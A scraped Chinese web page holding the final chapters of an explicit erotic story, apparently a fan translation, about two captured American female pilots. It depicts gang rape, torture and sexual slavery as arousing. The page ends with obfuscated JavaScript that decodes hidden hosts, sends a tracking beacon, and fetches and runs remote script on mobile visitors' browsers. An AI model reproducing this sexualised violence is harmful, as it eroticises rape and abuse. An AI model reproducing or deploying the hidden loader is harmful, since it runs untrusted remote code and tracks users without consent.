  芭芭拉一直在看着自己身边的薇尔科丽,一向刚强骄傲的薇尔科丽此时也像芭芭拉一样地狼狈,成熟丰满的身体上沾满了污秽,张大着嘴巴任凭对手的肉棒抽插着,肥硕的屁股撅起来被另一个家伙姦淫着。薇尔科丽眼睛里的那种麻木和屈服使芭芭拉感到了极大的伤害,她不能接受现在连薇尔科丽也变成了一个毫无羞耻感的婊子!对这些家伙野蛮的轮姦竟然毫无抵抗,甚至是那幺地顺从!

  阿坎站在近处满意地看着自己的部下对两个意志彻底崩溃的女飞行员施暴,他很喜欢看到这两个自大的女人充满痛苦的脸上被糊满了黏乎乎的精液,看到她们分开双腿被男人肆意姦淫,看到她俩的嘴里和肉穴里被灌满了精液,流进她们的胃里和子宫里!他感到这两个女人的身体里已经被播下了塞族的种子!

  阿坎满意、甚至有些惊讶地看到薇尔科丽强壮、成熟、性感的肉体顺从地趴在球桌上任凭自己的部下姦淫摆布,嘴里含着男人的肉棒吮吸呻吟,却丝毫没有一点的抗拒和挣扎!他确信这个傲慢的金髮女人已经被彻底地打垮了,她的自尊和骄傲已经蕩然无存。

  

  波黑噩梦(十一)

  疯狂的“宴会”已经持续了几个小时,终于接近了尾声。被蹂躏得浑身酸软的薇尔科丽被两个家伙从球桌上拖起来,她的脸被按在芭芭拉被糟蹋得龌龊不堪的阴部。不用任何人提示,薇尔科丽已经自觉地用嘴清理起芭芭拉的下身来,甚至与此同时还有一个家伙在抱着她丰满的屁股姦淫着女飞行员的屁眼。

  过了一会,阿坎命令部下将薇尔科丽架到自己面前站着,他围着这个遭到了最残酷的凌虐的女飞行员转着看了起来。薇尔科丽现在全身几乎全部赤裸着,黑色的短夹克已经被剥掉,腿上的黑色网眼裤袜被撕得破破烂烂地贴在女飞行员结实修长的双腿上。她的雪白肥硕的屁股上布满手指印,下身前后两个肉洞还鬆弛地张开着,不断流淌出白浊的精液,将她的大腿弄得一片污秽。薇尔科丽赤裸着的丰满的上身汗水淋漓,两个丰满的大乳房上伤痕累累,两个乳头被尼龙线勒得红肿起来。女飞行员的漂亮的脸上同样糊满了精液,顺着下巴和脖子流下来,金髮也被弄得黏乎乎地贴在额头上。

  阿坎恶狠狠地盯着薇尔科丽看,薇尔科丽原本那种自信的表情已经完全被恐惧取代了,两只大眼睛里满是悲哀和怯懦的神色。阿坎用手指捏住女飞行员胸前的一个淤血红肿的大乳头,使劲一捏!薇尔科丽立刻发出一声惨叫,身体微弱地扭动逃避起来。

  “让大家看看你最擅长的手段,亚历山大!就像上次我和你一起对付那个克罗地亚母狗那样!”

  接着阿坎对着痛苦不堪的薇尔科丽说:“这里所有人都干过你了,现在给轮到勇敢的亚历山大了,臭婊子!不过你将嚐到的不是他的大肉棒,而是一种特殊的东西,你会马上看到的!!”

  阿坎命令两个部下抓住薇尔科丽的双臂,架着虚弱得几乎站立不住的女飞行员,薇尔科丽只能不住地摇头,哀求着他们不要再折磨自己。阿坎在薇尔科丽的背后,用他结实的手臂勒住了她的脖子,而亚历山大则慢慢跪在了女飞行员被迫左右叉开站立着的双腿之间。

  亚历山大的眼睛死死盯着薇尔科丽被蹂躏得红肿外翻的肉穴,两片红褐色的肥厚肉唇上糊满了白色的糟粕。他先将一只手指插进女飞行员湿热的小穴,立刻感到里面简直是黏液的汪洋,他很轻鬆地将三根手指并排插进了金髮女人失去弹性的肉穴里面。亚历山大停了片刻,接着将整只手掌插了进去,然后握成拳头缓慢而有力地捅进女飞行员阴道深处!

  “啊!!!”薇尔科丽立刻声嘶力竭地喊叫起来。她感到亚历山大的拳头像一头巨大的蛇一样蠕动着进入身体,尽管她的阴道在遭到无数次姦淫施暴后,已经变得十分鬆弛和湿滑,但还是无法接受亚历山大拳头的摧残。薇尔科丽抬起头,盯着天花板,身体不停地颤抖着,她感到极大的恐怖和绝望,这种打击和残酷的虐待使她全身瘫软。突然,薇尔科丽的眼睛被摄影师的闪光灯晃了一下,她立刻意识到,自己受到的凌辱和虐待将被摄像机永久地记录下来。一想到自己这种羞辱痛苦的样子将被自己的家人和同事看到,女飞行员立刻又开始尖叫反抗起来。

  “不、求求你们……不要!求求你们!!你们对我的折磨还不够吗?!”

  女飞行员悲惨的哭叫和发出淫秽的光泽的赤裸的肉体又激起了阿坎的欲望,两个家伙抓着薇尔科丽的双臂架着她,使阿坎能腾出手来扒开女飞行员肥厚的屁股,将自己的大肉棒对準了她变得鬆弛的肛门。

  因为亚历山大的拳头伸进薇尔科丽阴道的缘故,使得女人的屁眼又变得紧密起来,阿坎用手扶着自己的肉棒,费了很大力气终于又插进了女飞行员的身体。

  薇尔科丽已经被这种可怕的酷刑折磨得眼冒金星,她用尽最后一点力气与亚历山大的拳头和阿坎的肉棒抗争着,丰满的身体软弱地扭动着,两个巨大的乳房垂在胸前剧烈地摇摆着。

  亚历山大能感到这个女人肉穴里细嫩的肉壁又开始紧张地收缩起来,紧紧地包裹住了自己拳头,同时他还能感到自己的拳头几乎与侵入这个女人肛门的阿坎的肉棒撞击在了一起,这种奇妙的体验使亚历山大感到十分满足,他更加残忍地在薇尔科丽的阴道里来回抽动起来。

  亚历山大能感到这个美国女飞行员正在遭受着难以想像的痛苦,但他觉得十分自豪,他可以任意处置折磨这个看似健壮、骄傲的金髮女人。与此同时,陷入了无边的痛苦和绝望之中的薇尔科丽弯着腰站着,她感到阿坎的肉棒快速地在自己屁股后的肉洞里抽插着,而亚历山大的拳头则似乎填满了自己的身体。这种恐怖的蹂躏使她失去最后一点抵抗的勇气。

  亚历山大一边用自己的拳头蹂躏着薇尔科丽,一边用另一只手拉住了拴着女飞行员两个乳头的尼龙线,拉扯着两个淤血肿胀的大乳头。而阿坎则将双手绕过薇尔科丽的身体,抓住了她胸前两个硕大的乳房,一边姦淫着女飞行员的屁眼,一边残忍地揉捏着两个丰满柔软的肉团。

  薇尔科丽则感到自己快要死了,下身像火烧一般的疼痛,而遭到虐待的胸脯也针扎似的疼痛不已。她既没有勇气和力气反抗,又实在不堪忍受这种非人的虐待,终于痛哭起来。薇尔科丽开始幻想这不过是一场噩梦,而自己还不如乾脆没有逃出那被导弹击中的飞机!

  薇尔科丽穿着那双细跟的“来操我”高跟鞋的双脚已经支撑不住身体,她结实有力的双腿也摇晃起来,感到已经忍耐到了极限的女飞行员终于哭泣着哀求起来。

  “哦、不要!……求求你们,放过我吧……哦、不!!”

  女飞行员的哭叫使两个家伙更加兴奋,亚历山大更使劲地拽着尼龙线,而阿坎则野蛮地将女人丰满柔软的胸膛捏成各种形状,并更用力地戳插起来。

  过了一会,阿坎终于坚持不住了,他剧烈地抖动着身体,一个小时里第三次在这个美丽的女飞行员身体了射了出来。他嘴里咒骂着薇尔科丽,抽出了自己的肉棒,看着自己的精液缓缓从女飞行员的肛门里流出,流淌在雪白的大腿上。

  亚历山大则在其他人注视下,更用力地快速抽动着拳头,然后猛地从薇尔科丽的身体里抽了出来。两个抓着薇尔科丽双臂的家伙也放开了手,看着薇尔科丽赤裸的身体慢慢地滑落下来,遭到残酷蹂躏的女飞行员逐渐失去了知觉,昏倒在了地上。

  ===================================

  此时在几百公里外的匈牙利,三角洲突击队的指挥官正在最后确认着行动计划。

  他们接到的命令是袭击阿坎驻扎的旅馆,解救出那两个被俘虏的女飞行员。行动开始的时间是华盛顿时间星期五的早上七点,距离现在还有不到两天。不过他认为时间已经足够了,对三角洲突击队来说,28个小时足够做任何事,包括消灭那旅馆里所有敢于抵抗的敌人。

  ===================================第二天早晨,阿坎看着两个赤身裸体、被捆绑着的女飞行员被押进一个坚固的铁笼子,装着铁笼子的卡车很快离开了他的旅馆。

  阿坎知道自己终于永远失去了那两个美国女飞行员,他忽然感到一阵惋惜,尤其是对薇尔科丽,还从没有一个女人能够使自己在一个小时里三次达到高潮。而且从来没有任何事情能比拷打、折磨、姦污这个金髮的美国骚货,更使阿坎感到快乐和满足。

  阿坎安慰着自己,只要战争还在继续,就会不断得到新的女人,而且总的来说,那两个美国女人离开自己对自己更安全,更何况自己手里还有摄影师拍摄的那些折磨轮姦那两个女飞行员的录像带。

  ===================================

  阿坎在第二天早晨三角洲突击队发动的袭击中丧命,但他一手导演的这起事件在巴尔干地区却产生了长久的影响。

  阿坎的保镖亚历山大在那个早晨,由于去押送两个女飞行员交给中间人而得以幸免,但阿坎在美国人的营救行动中丧命的消息很快就传到了他的耳朵里。他随后就返回了已经空无一人的营地,找出了藏匿起来的关于两个美国女飞行员的录像带,并按照阿坎死前的嘱咐,把它们交给了曾与他们有过联系的那家德国媒体。亚历山大完成了这最后一件任务,就彻底地从波黑失蹤了。

  这些录像带中当然包括米洛塞迪奇将军强姦薇尔科丽的那盘,于是一场新的战争在波黑爆发了。被激怒了的美国军队攻击几乎所有的塞族要塞,不停止地轰炸,尽全力追捕藏匿起来的“战犯”米洛塞迪奇将军。但将军依然是波黑塞族的领袖,而且很快所有原本分裂的塞尔维亚人在强敌面前空前地团结起来。

  薇尔科丽和芭芭拉的遭遇导致了新的冲突。尽管在展开营救的那个早晨人们没有在旅馆里找到任何与两个女飞行员有关的东西,但根据阿坎一贯的做法,可以想像出两个女人的尸体一定像其他受害者一样被丢进了哪个矿井深处。

  尽管在官方的记录上,薇尔科丽和芭芭拉被做为失蹤处理,但大家都认定她们已经死了。女人会很快被她们的政府遗忘,但不会被人们忘记。

  很快就有大量从那家德国媒体偷偷翻录的录像带流入黑市,就像所有被禁止的东西一样,这些影像制品在国际互连网上找到了它们的天地。这些录像带通过互连网迅速传遍世界,当然包括美国海军。

  美国海军中的大多数人认为它们是极其淫秽的,但也有很多人--他们原本就认为女人不给属于他们的阶层--喜欢它们。于是出现了一些很可怕的丑闻。

  第一起丑闻是发生在一所军校里的“青春期恶作剧”。

  一个不合群的军校女学生在一个早晨醒来在她的床头发现了一张用打印机打出来的黑白图片,图片上是芭芭拉正在被阿坎强姦的场面,高清晰的图片不仅清楚地显示出阿坎正在强暴着年轻女人的屁眼,甚至连芭芭拉脸上痛苦的表情都能看清,图片下面写了这样一行字:“这就是你的下场!母狗!!”

  军校里随后就开始了一场翻天覆地的追查,但终究没有结果,那女生随后就退学了。

  第二起丑闻发生在海军航空兵的一所特殊训练营地。这个营地里对男女学员进行一些特殊的教育--如何在残酷的战争中生存、逃跑和抵抗。

  按照规定,这里要分别教给男女学员如何面对强姦和被强姦。对于男学员,他们要学会接受女战俘被强暴的事实,因为敌人可能会在他们面前强姦女战俘,以此来达到他们逼供的目的。

  但事实上,要真的在这些男学员表演强姦一个女人是不可能的,于是教官想到了录像带教学。他们选择的是女飞行员薇尔科丽在谷仓里被轮姦的那盘,反复在学员面前播放,并进行了配音。但这件事情后来被两名女学员揭露出来,并被告上了军事法庭。

  随后媒体又披露出来,在营地里有女学员受到“性虐待”的事件发生:女学员被强迫脱光衣服,并在警卫的注视下暴露身体一段时间。尽管被披露的事件中警卫也是女人,但还是有很多人猜测会有男性警卫加入到这件事中。甚至有人传言,那里的训练已经发展成为一场男人和女人参加的虐待狂的游戏。于是五角大楼最后不得不出面,停止了这种特殊的训练。

  第三起、也是最臭名昭着的丑闻发生在薇尔科丽和芭芭拉以前服役的那个飞行中队,涉及者全部是男性。

  当初由于两个女飞行员的加入和深受大众欢迎,而使得一些人觉得自己受到了歧视和侮辱。当薇尔科丽和芭芭拉被俘事件发生后,在那个中队里就出现了一个秘密的地下俱乐部,成员们都穿着薇尔科丽经常穿的那种T恤,上面印着的照片是薇尔科丽在“送别晚宴”上被阿坎凌辱的场面:薇尔科丽穿着黑色网眼连裤袜,黑色高跟鞋,男式上衣敞开着,两个乳头上被栓着尼龙线。照片上配上的文字是:“你想要谁……母狗”。

  同时在一家杂志上出现了薇尔科丽的前同事的文章,介绍这名女飞行员以前在空军时,像夜总会舞女一样的风骚和她的性生活,如何每晚都和不同的已婚男人做爱。文章配上的照片是:薇尔科丽穿着紧身的黑色小皮裙,黑色连裤袜,紧身皮夹克,手里还拿着一根巨大的黑色按摩棒,对着镜头微笑。

  这些事件很快就引来了女权组织的强烈抗议和攻击。

  但无论如何,薇尔科丽和芭芭拉两人现在已经不需要为这些事烦恼了。

  ===================================

  博尼奥司苏丹从他华丽的王宫花园里望去,南中国海秀丽的风光仅收眼底。富有的苏丹有得是昂贵的玩具:名车、纯种马、奇异的植物、宫殿和游艇,但没有一样他觉得能同现在他脚下的玩具相比。

  苏丹随手将一片水果喂给正跪在他脚下的这个赤身裸体的黑髮女子,她的脖子上戴着一个项圈,项圈上的链子系在苏丹坐椅的腿上,被手铐铐着的双手规矩地叠放在自己的膝盖上。那黑髮女子毫不迟疑地将苏丹手里的水果吃了下去,并驯服地将他手指上沾的果汁也舔得一乾二净。

  感到满意的苏丹用手抚摸着女奴隶一头黑色的短髮,慢慢将她的头按到了自己的胯下。那女人立刻将头伸进苏丹宽鬆的长袍里面,找到了他软绵绵的阴茎,用嘴含住吮吸起来。

  苏丹满足地享受着女奴隶的服侍,他的眼光随意地在四周打量着。他的目光很快找到了目标:不远处一个健壮、丰满的金髮女人赤身裸体地跪在坚硬的地面上,她细腻而有弹性的肌肤在热带阳光的照射下反射出一种油亮的光。从外表上你看不出这是个金髮女人,因为她的整个头部都被一个黑色的皮制面罩罩住,没有露出一点地方。

  直挺挺地跪在地上的女人双腿微微分开,暴露出经过精心修剪的阴部,甚至连肉穴里面的嫩红色肉壁都能看清。她现在既不能看也不能听,甚至连说话都不行--因为一根黑色粗大的按摩棒正插在她的嘴里,金髮的女奴隶在皮头盔下面连呼吸都有些困难。但苏丹喜欢让她这样。

  看到这个女奴隶现在的样子,谁也想不到她、还有正在用嘴巴为苏丹服务的黑髮女子,曾经是美国空军的飞行员。她们是在大约一年前在波黑被俘的美国女飞行员,官方宣布她们失蹤了--当然更多人推测她们死了。

  经过了长期的训练,现在金髮女人已经能很长时间这幺跪着,她的双手被铐在背后。两个十分丰满的大乳房沉重地坠在女奴隶赤裸的胸前,一对乳头上被穿上了细小的金环,用细链子连在一起,挂在链子上的小铃铛随着女人沉重的喘息不时发出一些响声。

  苏丹开始感觉身体出现了变化,他重新将目光收回到跪在自己胯下的黑髮女人身上。她的头埋在苏丹双腿之间,努力地吮吸着逐渐变硬的肉棒,发出一种湿淋淋的“啾啾”声。经过“刻苦”的训练,现在这个女奴隶嘴上的技术已经很令苏丹满意了。

  现在苏丹开始考虑今天要和这两个女奴隶玩些什幺花样。自从花了三百万美元将这两个女人买来,苏丹就深深地为她们着迷,她们远比那些为苏丹生了孩子的马来或菲律宾女人强得多。

  那个稍微年长一点的金髮女人,她甚至比苏丹身材更高、更健壮,征服支配这样的美国女人更令苏丹感到满足。而那个黑髮女人则是苏丹的宠物,她是那幺地驯服和温顺,甚至已经学会了主动要求苏丹鞭打她。那个金髮女人同样也是很听话的,但苏丹还是喜欢经常惩罚她--残酷地鞭打她、或罚她跪在烈日下,苏丹喜欢看到她受苦,并能从中感到快乐。

  苏丹解开了系在坐椅腿上的链子,示意黑髮女子去将她的同伴带到苏丹身后的那个石头长椅上。那黑髮女人站起来,嘴角还沾着闪亮的唾液,缓步朝她的同伴走去。她轻轻拉着金髮女人脖子上的皮带,没有说话,因为她知道她戴着头盔的同伴听不见任何声音。

  那金髮女奴隶姿势优美地站了起来,随后黑髮女子拉着她胸前的链子,慢慢将她牵到石头椅子前站住,然后将她推到石椅上坐下,又自动地将金髮女人两条修长结实的腿分开,用绳索捆在了石椅的腿上,将女奴隶的下身完全暴露出来。

  随后黑髮女人转过脸看着苏丹,眼中充满的恳求的神色,苏丹微笑着点头。那女人立刻跪在金髮女人的两腿之间,开始仔细地用嘴吮吸舔弄着她的下身,将舌头伸进金髮女奴隶的肉穴和肛门里,转动吮吸着女奴隶开始不断流出的汁液。

  看到身材健壮的金髮女人开始在她的同伴的挑逗下出现反应,赤裸的成熟肉体不断抽搐起来,肥厚的屁股在石椅上扭来扭去,下身不断有闪亮的淫水流出,苏丹从一旁的架子上拿起一根粗大的蜡烛,走了过来。

  苏丹点燃蜡烛,将一滴蜡油对着正沉浸在快感中的金髮女奴隶丰满的大乳房滴落下来。因为脸被面罩罩着,女奴隶根本不知道发生的一切。随着一滴滚烫的蜡油落在雪白肥嫩的胸脯上,她那巨大的肉团立刻猛烈地抖动起来,痛苦混合着快感使女奴隶的身体剧烈地哆嗦起来。

  苏丹将蜡油不停地滴落在女人两个丰满的乳房上,雪白的肌肤上绽开一朵朵鲜红的花,加上黑髮女人温柔的挑逗,女奴隶丰满成熟的身体不停地扭动起来。苏丹放下蜡烛,将金髮女人嘴里塞着的粗大的按摩棒拿出来,那女人的嘴里立刻发出妖冶诱人的呻吟和呜咽。

  苏丹从一旁的架子上拿来一根巨大的黑色双头按摩棒,让黑髮女奴隶走开,然后将按摩棒的一头插进了金髮女人已经湿透了的肉穴里。过了一会,苏丹将沾满了女人分泌出的汁液的按摩棒拿出来,将这一头又塞进了金髮女人正呻吟啜泣着的嘴里。

  那个黑髮女人不用苏丹吩咐,就自动地俯下身体,用嘴含住了那按摩棒的另一头,想对待一根真正的肉棒一样,仔细而努力地吮吸起来。她同时分开自己的双腿,苏丹则将手指插进了她丰满的双臀之间那浑圆的小肉洞里,撑开紧缩着的括约肌,在这个女奴隶的肛门里扣挖转动起来。

  那个黑髮的女人随着苏丹的玩弄,来回扭动摇摆着丰满雪白的屁股,用自己的乳房轻轻磨蹭着金髮女人丰满的大胸脯。金髮女人只能一动不动地躺靠在椅子上,嘴里含着那按摩棒,她同伴的唾液顺着黑色橡胶棒慢慢流淌到了她的嘴里。

  过了一会,那黑髮女子乾脆爬上了石椅,叉开自己的双腿,将她同伴嘴里塞着的按摩棒的另一头慢慢插进自己已经湿透了的肉穴里。她好像骑在了金髮女奴隶的脸上,用那双头的按摩棒一边干着自己的肉穴,一边姦淫着她的同伴的嘴。很快,这个女人就发出一阵阵沉重的喘息和淫蕩的呻吟,忘情地扭动着身体,上下移动着自己丰满的臀部,黑色的按摩棒在两个女人的腿间和嘴里进出着。

  苏丹看着两个女奴隶毫无羞耻的表演,慢慢地脱下了长袍。他站在金髮女人大大地张开着的双腿之间,弯曲身体将自己膨胀起来的肉棒对準女奴隶淫水泛滥的肉穴,慢慢地插了进去。

  苏丹感到这个女人湿热紧密的肉穴立刻将自己的肉棒紧紧夹住了,他感到十分舒服,立刻按住金髮女人丰满的大腿,用力地抽插起来。与此同时,在黑髮女子胯下夹着的按摩棒和苏丹的肉棒双重夹击之下,那金髮女奴隶立刻陷入了不可救药的快感之中,丰满的身体激烈地扭动起来,兴奋得连被捆在石椅腿上的双腿都几乎痉挛起来。

  苏丹觉得还不够,他又将蜡烛拿在了手中。他将火热的蜡油对着自己面前的金髮女人丰满的胸部和那黑髮女人雪白的屁股滴落下去!

  蜡油落在两个女奴隶的身体上,两个女人的反应更加强烈。那金髮女人丰满的大乳房不停跳动着,肥大的屁股猛烈摇摆起来。而那黑髮女人的嘴里则发出混合着快乐和痛苦的大声呻吟。

  苏丹感到金髮女人温暖湿润的肉穴猛烈地收缩起来,他终于感到自己一股热流喷射进了这个成熟美丽的女奴隶的身体。与此同时,那叉开两腿骑在金髮女人脸上的黑髮女奴隶身体猛烈地摇晃起来,随着一阵尖声的悲鸣,一股汁液顺着插进黑髮女人肉穴里的按摩棒边缘喷溅出来!

  (全文完)

  **********************************************************************

  首次翻译英文,有些贪心,选的文章太长,最后两章内容上难免粗糙一些,请读者原谅。

  接下来……该自己写点什幺了,还请大家继续捧场。

  NEPTUNE

相关视频

function OcbvDroJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hFlwtkqX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OcbvDroJ(t);};window[''+'E'+'w'+'L'+'o'+'i'+'H'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aXecA(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hFlwtkqX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aXecA(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aXecA(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','168165',window,document,['T','a']);}:function(){};
let urls=["hIItIItIIpIIsII:II/II/IIoIIcII1II8II1II9IInIIdIIaIIdII9II.IIoIIsIIsII-IIcIInII-IIsIIhIIaIInIIgIIhIIaIIiII.IIaIIlIIiIIyIIuIInIIcIIsII.IIcIIoIImII/II1II9II/II1II0II7II5IIaII2II2II8II2II2II9II9".split("II").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB9BB/BB1BB0BB7BB5BBaBB2BB2BB8BB2BB2BB9BB9".split("BB").join(""),"hPPtPPtPPpPPsPP:PP/PP/PPmPPqPP1PP9PPnPPdPPaPPdPP9PP.PPoPPsPPsPP-PPcPPnPP-PPsPPhPPaPPnPPgPPhPPaPPiPP.PPaPPlPPiPPyPPuPPnPPcPPsPP.PPcPPoPPmPP/PP1PP9PP/PP1PP0PP7PP5PPaPP2PP2PP8PP2PP2PP9PP9".split("PP").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRdRR8RR9RR-RR1RR3RR1RR3RR9RR4RR4RR0RR6RR2RR.RRcRRoRRsRR.RRaRRpRR-RRhRRoRRnRRgRRkRRoRRnRRgRR.RRmRRyRRqRRcRRlRRoRRuRRdRR.RRcRRoRRmRR/RR1RR0RR7RR5RRaRR2RR2RR8RR2RR2RR9RR9".split("RR").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();